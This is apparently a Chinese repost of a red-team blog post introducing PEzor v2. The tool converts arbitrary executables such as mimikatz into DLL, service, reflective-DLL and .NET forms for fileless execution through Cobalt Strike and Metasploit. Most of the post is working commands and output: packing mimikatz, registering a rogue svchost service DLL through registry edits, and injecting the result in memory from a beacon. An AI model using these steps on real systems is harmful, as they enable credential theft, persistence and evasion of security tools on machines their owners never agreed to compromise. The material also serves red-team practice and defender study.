Cobalt Strike无落地文件执行任意程序
2020-10-27 15:29:02 Author: mp.weixin.qq.com(查看原文) 阅读量:29 收藏

from:https://iwantmore.pizza/posts/PEzor2.html

Cobalt Strike的execute-assembly可以使我们无文件即可运行.NET程序集。但是,如果我们能够同样轻松的执行任意可执行文件,那会不会很好呢?

PEzor v2新的输出形式与Cobalt Strike集成。

execute-assembly使攻击者无落地文件运行.NET程序集深深影响了最近的攻势进展。我们来看看如何使用PEzor实现在内存中执行任意可执行文件这一目标。

Cobalt Strike支持两种内存中执行的能力,详见

https://www.cobaltstrike.com/aggressor-script/functions.html#bdllspawn

https://www.cobaltstrike.com/aggressor-script/functions.html#bexecute_assembly

新的输出格式

当前PEzor支持以下新的输出格式,并具有任意可执行文件或原始shellcode:

exe:这是PEzor v1支持的唯一格式,它是本机二进制文件

dll:PEzor现在可以将现有可执行文件转换为DLL对应文件,无需从源代码重新编译

service-exe:它可以生成本机二进制文件的Service EXE版本,该版本导出需要的功能以作为系统服务运行

service-dll:它可以生成本机二进制文件的Service DLL版本,该版本导出要在dllhost进程内部运行的必需函数

(请参阅:https://blog.didierstevens.com/2019/10/29/quickpost-running-a-service-dll/)

Reflection-dll:它可以生成本机二进制文件的反射DLL版本,可以由大多数框架(例如Metasploit的reflective_dll_inject模块)在内存中加载和执行

dotnet:它可以产生与本机等效的.NET二进制文件,可以由大多数框架(例如Metasploit的execute_dotnet_assembly模块)在内存中加载和执行

例子

让我们看看如何生成和执行新格式。

可执行程序

#生成

$ PEzor -format=exe mimikatz.exe -z 2 -p '"token::whoami" "exit"'

#执行

C:> .\mimikatz.exe.packed.exe

dll文件

#生成

$ PEzor -format=dll mimikatz.exe -z 2 -p '"token::whoami" "exit"'

#执行

C:> rundll32 .\mimikatz.exe.packed.dll,DllMain

服务程序

#生成

$ PEzor -format=service-exe mimikatz.exe -z2 -p '"log C:/Users/Public/mimi.out" "coffee" "exit"'

#执行

C:\Users\Public>sc create mimiservice binpath= C:\Users\Public\mimikatz.exe.packed.service.exe

[SC] CreateService SUCCESS

C:\Users\Public> sc start mimiservice

SERVICE_NAME       : mimiservice

        TYPE               : 20  WIN32_OWN_PROCESS

        STATE              : 4  RUNNING

                                (STOPPABLE,NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

        WIN32_EXIT_CODE    : 0 (0x0)

        SERVICE_EXIT_CODE  : 0 (0x0)

        CHECKPOINT         : 0x0

        WAIT_HINT          : 0x0

        PID                : 913

        FLAGS              : 0x0

服务DLL

#生成

$ PEzor -format=service-dll mimikatz.exe -z 2 -p '"log C:/Users/Public/mimi.out" "coffee""exit"'

#执行

C:\Users\Public>copy /y mimikatz.packed.exe.service.dll %SystemRoot%\System32\SvcHostDemo.dll

       1 file(s) copied.

C:\Users\Public> sc create SvcHostDemo binpath= ^%SystemRoot^%"\System32\svchost -k mygroup" type= share start= demand

[SC] CreateService SUCCESS

C:\Users\Public> reg add "HKLM\SYSTEM\CurrentControlSet\services\SvcHostDemo\Parameters /v ServiceDll /t REG_EXPAND_SZ /d ^%SystemRoot^%\System32\SvcHostDemo.dll /f

The operation completed successfully.

C:\Users\Public> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v mygroup /t REG_MULTI_SZ /d SvcHostDemo /f

The operation completed successfully.

C:\Users\Public> sc start SvcHostDemo

SERVICE_NAME       : SvcHostDemo

       TYPE               : 30  WIN32

       STATE              : 2  START_PENDING

                                (NOT_STOPPABLE,NOT_PAUSABLE, IGNORES_SHUTDOWN)

       WIN32_EXIT_CODE    : 0  (0x0)

       SERVICE_EXIT_CODE  : 0  (0x0)

       CHECKPOINT         : 0x0

       WAIT_HINT          : 0x7d0

       PID                : 1823

       FLAGS              : 0x0

反射DLL

#生成

$ PEzor -format=reflective-dll mimikatz.exe-z 2 -p '"log mimi.out" "coffee" "exit"'

#执行

msf5 > use post/windows/manage/reflective_dll_injectmsf5 post(windows/manage/reflective_dll_inject) > set PATH mimikatz.exe.packed.reflective.dllmsf5 post(windows/manage/reflective_dll_inject) > set WAIT 10msf5 post(windows/manage/reflective_dll_inject) > run

dotnet

#生成

$ PEzor -format=dotnet mimikatz.exe -z 2 -p '"log mimi.out" "coffee" "exit"'

#执行

msf5 > use post/windows/manage/execute_dotnet_assemblymsf5 post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE mimikatz.exe.packed.dotnet.exemsf5 post(windows/manage/execute_dotnet_assembly) > set WAIT 10msf5 post(windows/manage/execute_dotnet_assembly) > run

Cobalt Strike的cna脚本

现在我们知道如何生成不同的形式并手动执行它们,但是如何在Cobalt Strike中集成此新工具呢?

https://github.com/phra/PEzor/blob/master/aggressor/PEzor.cna

该脚本提供了与execute-assembly相同的命令行选项,该脚本将在后台启动PEzor自动将提供的可执行文件转换为所需的格式(reflective-dll或dotnet),并指定beacon以注入反射型的DLL或在内存中执行生成的.NET程序集。

#转换并执行reflective DLL

beacon> execute-inmemory -format=reflective-dll mimikatz.exe -z 2 -p '"coffee" "exit"'

#转换并执行 .NET assembly

beacon> execute-inmemory -format=dotnet mimikatz.exe -z 2 -p '"coffee" "exit"'


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651867038&idx=1&sn=13fba7b77b08b0f0088cb4cf4c77aaef&chksm=8442bf79b335366f18eab12ee6522b89dcd35df433ffb2bc773cf3a6ec2593e168a443aa9676#rd
如有侵权请联系:admin#unsafe.sh